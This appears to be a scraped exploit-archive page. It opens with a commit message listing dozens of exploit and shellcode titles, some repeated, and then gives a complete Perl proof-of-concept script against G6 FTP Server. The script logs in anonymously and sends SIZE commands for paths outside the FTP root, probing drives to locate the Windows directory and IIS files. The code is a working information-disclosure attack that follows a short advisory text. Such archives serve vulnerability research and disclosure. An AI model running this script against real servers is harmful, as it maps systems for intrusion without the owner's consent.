
14991 changes to exploits/shellcodes HTC Touch - vCard over IP Denial of Service TeamSpeak 3.0.0-beta25 - Multiple Vulnerabilities PeerBlock 1.1 - Blue Screen of Death WS10 Data Server - SCADA Overflow (PoC) Symantec Endpoint Protection 12.1.4013 - Service Disabling Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow man-db 2.4.1 - 'open_cat_stream()' Local uid=man CDRecord's ReadCD - '$RSH exec()' SUID Shell Creation CDRecord's ReadCD - Local Privilege Escalation Anyburn 4.3 x86 - 'Copy disc to image file' Buffer Overflow (Unicode) (SEH) FreeBSD - Intel SYSRET Privilege Escalation (Metasploit) CCProxy 6.2 - 'ping' Remote Buffer Overflow Savant Web Server 3.1 - Remote Buffer Overflow (2) Litespeed Web Server 4.0.17 with PHP (FreeBSD) - Remote Overflow Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow QNAP TS-431 QTS < 4.2.2 - Remote Command Execution (Metasploit) Imperva SecureSphere 13.x - 'PWS' Command Injection (Metasploit) Drupal < 8.5.11 / < 8.6.10 - RESTful Web Services unserialize() Remote Command Execution (Metasploit) Oracle Weblogic Server - Deserialization Remote Command Execution (Patch Bypass) TeamCity < 9.0.2 - Disabled Registration Bypass OpenSSH SCP Client - Write Arbitrary Files Kados R10 GreenBee - Multiple SQL Injection WordPress Core 5.0 - Remote Code Execution phpBB 3.2.3 - Remote Code Execution Linux/x86 - Create File With Permission 7775 + exit() Shellcode (Generator) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes)
80 lines
No EOL
3 KiB
Perl
Executable file
80 lines
No EOL
3 KiB
Perl
Executable file
source: https://www.securityfocus.com/bid/2537/info
|
|
|
|
A user can confirm the existence and location of files and directory structure information, by submitting a 'size' or 'mdtm' command of a file. If the command is carried out by the vulnerable service, the attacker can confirm the location of the file.
|
|
|
|
Submitting a 'size' or 'mdtm' command for a file outside of the FTP root could disclose directory structure information of unpublished filesystems on the host. If the requested command is fulfilled by the vulnerable service, the attacker can confirm the relative path to the file.
|
|
|
|
Either request is achievable even if the 'show relative paths' option is not enabled.
|
|
|
|
#!/usr/bin/perl
|
|
# g6-find.pl
|
|
# example G6 Ftp Server file disclosure vulnerability script
|
|
use Getopt::Std;
|
|
use IO::Socket;
|
|
getopts('h:l:p:',\%args);
|
|
my ($CRLF,$port,$login,$pass,$sock_res,$win_base,$iis_base,@drives);
|
|
$CRLF = "\015\012";
|
|
@drives = ("c","d","e","f");
|
|
$port = 21;
|
|
$login = 'anonymous';
|
|
$pass = 'user@myhost.com';
|
|
if (defined $args{h}) { $host = $args{h}; } else { print "No host
|
|
specified.\n"; exit; }
|
|
if (defined $args{l}) { $login = $args{l}; }
|
|
if (defined $args{p}) { $pass = $args{p}; }
|
|
$sock =
|
|
IO::Socket::INET->new(Proto=>'tcp',PeerAddr=>$host,PeerPort=>$port) ||
|
|
die("Socket errors: $!");
|
|
$sock_res = <$sock>;
|
|
print $sock "USER $login" . $CRLF;
|
|
$sock_res = <$sock>;
|
|
print $sock "PASS $pass" . $CRLF;
|
|
$sock_res = <$sock>;
|
|
if ($sock_res !~ /230\s/) { print "Login/password not
|
|
accepted...exiting.\n"; close($sock); exit; }
|
|
print $sock "PWD" . $CRLF;
|
|
$sock_res = <$sock>;
|
|
if (lc($sock_res) !~ /\/[a-z][:]\//) { print "Looks like 'show relative
|
|
path' is enabled...exiting.\n";close($sock);exit;}
|
|
print "Attempting to locate system files...";
|
|
$win_base = &FindWindows;
|
|
$iis_base = &FindIIS;
|
|
print "done.\n\n"; close($sock);
|
|
print "Windows directory: $win_base\n";
|
|
print "Hints to IIS path: $iis_base\n";
|
|
exit;
|
|
sub FindWindows {
|
|
my @win_dirs = ("win","windows","winnt","winme");
|
|
foreach $drive (@drives)
|
|
{
|
|
foreach $dir (@win_dirs)
|
|
{
|
|
print ".";
|
|
print $sock "SIZE
|
|
/$drive:/$dir/regedit.exe" . $CRLF;
|
|
$sock_res = <$sock>;
|
|
if ($sock_res =~ /213\s/) {
|
|
return("$drive:\\$dir");}
|
|
}
|
|
}
|
|
return("not found");
|
|
}
|
|
|
|
sub FindIIS {
|
|
my @iis_files =
|
|
("Inetpub/wwwroot/_vti_inf.html","Inetpub/Adminscripts/adsutil.vbs","Inetpub/wwwroot/default.asp");
|
|
foreach $drive (@drives)
|
|
{
|
|
foreach $file (@iis_files)
|
|
{
|
|
print ".";
|
|
print $sock "SIZE /$drive:/$file" . $CRLF;
|
|
$sock_res = <$sock>;
|
|
if ($sock_res =~ /213\s/) {
|
|
$file =~ s/\//\\/g;
|
|
return("$drive:\\$file");
|
|
}
|
|
}
|
|
}
|
|
return("not found");
|
|
} |